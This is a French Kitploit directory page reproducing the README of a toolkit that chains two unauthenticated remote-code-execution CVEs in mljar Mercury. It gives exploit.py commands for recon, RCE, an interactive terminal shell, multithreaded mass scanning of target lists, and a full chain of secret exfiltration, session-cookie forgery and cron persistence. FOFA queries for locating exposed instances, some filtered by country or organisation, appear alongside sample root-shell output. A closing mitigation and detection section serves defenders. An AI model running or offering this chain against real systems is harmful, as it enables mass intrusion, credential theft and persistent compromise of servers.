Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-111058-CVE-2026-111057-mercury-rce — Combo RCE non authentifié Mercury : CVE-2026-111058 (kernels) + CVE-2026-111057 (terminals). Par 0xNuts (@ExDev994). Tests autorisés uniquement. | Kitploit
Outils/GitHubGitHub/exdev994/cve-2026-111058-cve-2026-111057-mercury-rce
ReconnaissanceScanners de Vulnérabilités WebMécanismes de PersistanceAnalyse des VulnérabilitésExploitationExploitation d'Applications WebExfiltration de DonnéesPost-Exploitation
Tests d'Intrusion
Outil d'Accès à Distance
Labs et Pratique
GitHubexdev994/cve-2026-111058-cve-2026-111057-mercury-rce

CVE-2026-111058-CVE-2026-111057-mercury-rce

Combo RCE non authentifié Mercury : CVE-2026-111058 (kernels) + CVE-2026-111057 (terminals). Par 0xNuts (@ExDev994). Tests autorisés uniquement.

Voir le dépôt
1il y a 1 moisPas encore vérifié
Partager

CVE-2026-111058+CVE-2026-111057-mercury-rce

Kit d'outils combo RCE non authentifié Mercury (noyaux + terminaux).

Boîte à outils combinant deux RCE non authentifiées sur mljar/mercury :

CVEAvisVecteur
CVE-2026-111058GHSA-rv4m-xm3f-3ccq/api/kernels + execute_request
CVE-2026-111057GHSA-f8c7-rwf9-fmgmcontournement de la liste de blocage de /api/terminals

Auteur : 0xNuts (ExDev994)

Uniquement pour des tests autorisés (labo local / cible avec autorisation écrite). Toute utilisation abusive sur des systèmes sans autorisation est illégale.

Comment exécuter les outils

1. Cloner & installer

# URL repo GitHub memakai `-` (GitHub tidak mengizinkan `+` di nama repo)
git clone https://github.com/ExDev994/CVE-2026-111058-CVE-2026-111057-mercury-rce.git
cd CVE-2026-111058-CVE-2026-111057-mercury-rce
python3 -m venv .venv
source .venv/bin/activate   # Windows: .venv\Scripts\activate
pip install -r requirements.txt

2. Lab local (recommandé en premier lieu)

python exploit.py --lab

Attendez que Docker ait terminé le build, puis :

URLCVE actifs
http://localhost:8883CVE-2026-111057 + CVE-2026-111058 (Mercury 3.2.3)
http://localhost:8885CVE-2026-111058 uniquement (Mercury 3.2.5)

3. Une seule cible

# Cek vuln (POST terminals + kernels)
python exploit.py -t http://localhost:8883 -m recon

# PoC RCE (default: kernel / CVE-2026-111058)
python exploit.py -t http://localhost:8883 -m rce

# Shell via terminal (CVE-2026-111057, hanya di 3.2.3 lab)
python exploit.py -t http://localhost:8883 -m rce --sink terminals

4. Analyse de masse à partir d'un fichier

Modifiez targets.txt (une URL par ligne), puis :

python exploit.py -m mass -tf targets.txt -rf results.txt --threads 10

Port automatique (mode mass uniquement) : si une ligne est sans port (par ex. example.com), l'outil essaie dans l'ordre :

  1. Sans port (http://example.com → 80, ou https:// → 443)
  2. Ports Mercury courants : 8888, 8000, 5000

Il s'arrête à la première URL vulnérable. Les lignes ayant déjà un port (http://host:8883) ne sont pas étendues.

Exemple de targets.txt :

# tanpa port → auto-fallback
example.com
mercury.internal

# dengan port → dipakai apa adanya
http://localhost:8883
192.168.1.50:8888

Terminal (verbeux) : chaque port essayé + statut final par ligne cible :

example.com      [trying...]
example.com:8888 [trying...]
example.com:8000 [trying...]
example.com:5000 [trying...]
example.com      [not vuln]
evil.com:8888    [trying...]
evil.com:8888    [vuln] [uid=0(root) gid=0(root) groups=0(root)]

Fichier results.txt — uniquement les vulnérables (ajout) :

http://evil.com:8888 [uid=0(root) gid=0(root) groups=0(root)]

5. Chaîne complète (lab / pentest avec autorisation)

python exploit.py -t http://localhost:8883 -m full --out exfil.json --cron

Ordre : recon → RCE → exfil secret → tentative de forge de session → persistance.

Résumé des flags

FlagFonction
-t / --targetURL Mercury (http://host:port)
-m / --moderecon, rce, exfil, full, persist, mass
--sinkauto, kernels, terminals
-tfFichier de liste de cibles (mode mass)
-rfFichier de résultats vuln (mode mass)
-thNombre de threads pour le scan mass
--labdocker compose up dans le dossier lab/

Architecture

  1. recon — sonde POST /api/terminals et POST /api/kernels pour le fingerprint de version.
  2. RCE — sink principal kernels (stealth), fallback terminals (shell interactif).
  3. exfil — env, fichiers de config, candidats secrets issus des processus Mercury.
  4. session_forge — forge best-effort d'un cookie de style Flask à partir du secret découvert.
  5. persistence — marqueur de notebook, patch de la source idle_timeout.py, cron optionnel (lab).

Le PoC déterministe écrit le marqueur /tmp/PWNED_MERCURY_RCE (voir poc/payloads.py).

Structure

mercury-combo/
├── exploit.py
├── mercury_combo/    # modul inti
├── lab/              # docker-compose + Dockerfile 3.2.3 / 3.2.5
└── poc/              # payload marker

FOFA / découverte d'actifs (autorisé uniquement)

FOFA aide seulement à trouver des candidats à l'exposition — pas de preuve de vulnérabilité. Validez toujours manuellement et respectez le périmètre d'autorisation.

Commencez de façon restreinte (branding) :

title="Mercury"
body="runmercury" || body="mljar-mercury"

Renforcez (Jupyter + Mercury) :

(title="Mercury" || body="mljar") && port="8888" && protocol="http"
header="X-Jupyter-Server-Version" && (body="mercury" || title="Mercury")
body="/api/kernels" && body="mercury" && server="Tornado"

Périmètre géographique / organisationnel (exemple) :

title="Mercury" && country="ID"
body="mljar" && port="8888" && org="Amazon"

Après avoir obtenu l'hôte, vérifiez avec cette boîte à outils (-m recon ou -m mass en lab/autorisation), ne faites pas de scan massif sans autorisation.

Atténuation / comment corriger (défenseur & admin)

ProblèmeCVE / avisCorrectif
Virgule manquante dans BLOCKED_PATTERNS → /api/terminals passeGHSA-f8c7-rwf9-fmgmMettre à niveau vers ≥ 3.2.4 (commit de correctif dans v3.2.4). Vérifiez que /api/terminals est réellement bloqué.
/api/kernels peut toujours exécuter execute_request sans authentificationGHSA-rv4m-xm3f-3ccqLa liste de blocage ne suffit pas — une authentification (jeton/mot de passe Jupyter) est obligatoire par défaut ; ne déployez pas token='' sur Internet. Surveillez les versions de Mercury > 3.2.5 pour le correctif officiel.

Checklist de durcissement :

  1. Mettre à niveau Mercury vers la dernière version corrigée disponible.
  2. Exiger l'authentification — définir un token/mot de passe ; désactiver le mode anonyme/sans token en production.
  3. Ne pas exposer le port 8888 (ou le port Mercury) directement sur Internet ; le placer derrière un VPN ou un reverse proxy avec authentification (OAuth, mTLS, liste d'autorisation IP).
  4. Réseau — pare-feu egress/ingress ; segmentation des conteneurs (utilisateur non-root, FS en lecture seule lorsque possible).
  5. Détection — alerter sur POST /api/kernels + POST /api/terminals depuis des IP anonymes ; pic de WebSocket vers /api/kernels/*/channels et /terminals/websocket/*.
  6. Incident — si exposé : faire tourner tous les secrets (DB, clés API, secret de session), auditer les notebooks et le serveur de fichiers, reconstruire le conteneur à partir d'une image propre.

Vérification après le patch :

# Harus 403/401 tanpa kredensial (bukan 201)
curl -i -X POST https://your-host/api/terminals
curl -i -X POST https://your-host/api/kernels -H 'Content-Type: application/json' -d '{"name":"python3"}'

Références des avis

  • GHSA-rv4m-xm3f-3ccq — RCE des kernels
  • GHSA-f8c7-rwf9-fmgm — contournement de la liste de blocage des terminaux
Télécharger l’outil

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 La boîte à outils OSINT ultime : graphe d'enquête, notation de confiance, familles d'alias, carte, chronologie et rapports. 49 modules, plus de 400 sites, aucune clé API requise.

    1.1k
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    # Application d'exécution en un clic GhostLock (CVE-2026-43499)

    618
  • 3

    looking-glass

    anonghosty/looking-glass

    Plateforme CSIRT qui ingère les rapports Shadowserver dans MongoDB et les rejoue sous forme de cartes interactives, d'analyses, de constats, d'avis et de tableaux de bord exécutifs.

    411
  • 4

    ARTEX

    baarai/artex

    Plateforme autonome de tests d'intrusion multi-agents basée sur des LLM, avec agents planificateur/ouvrier, graphes d'actifs et d'exploration, enregistrement du trafic MITM et retest des vulnérabilités.

    328
  • 5

    jumpserver

    jumpserver/jumpserver

    JumpServer est une plateforme open-source de Gestion des Accès Privilégiés (PAM) qui offre aux équipes DevOps et IT un accès sécurisé et à la demande aux terminaux SSH, RDP, Kubernetes, bases de données et RemoteApp via un navigateur web.

    314
  • 6

    Aliens_eye

    arxhr007/aliens_eye

    Moteur OSINT alimenté par l'IA pour découvrir et cartographier plus de 7 700 identités sur les réseaux sociaux à travers le web

    275

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →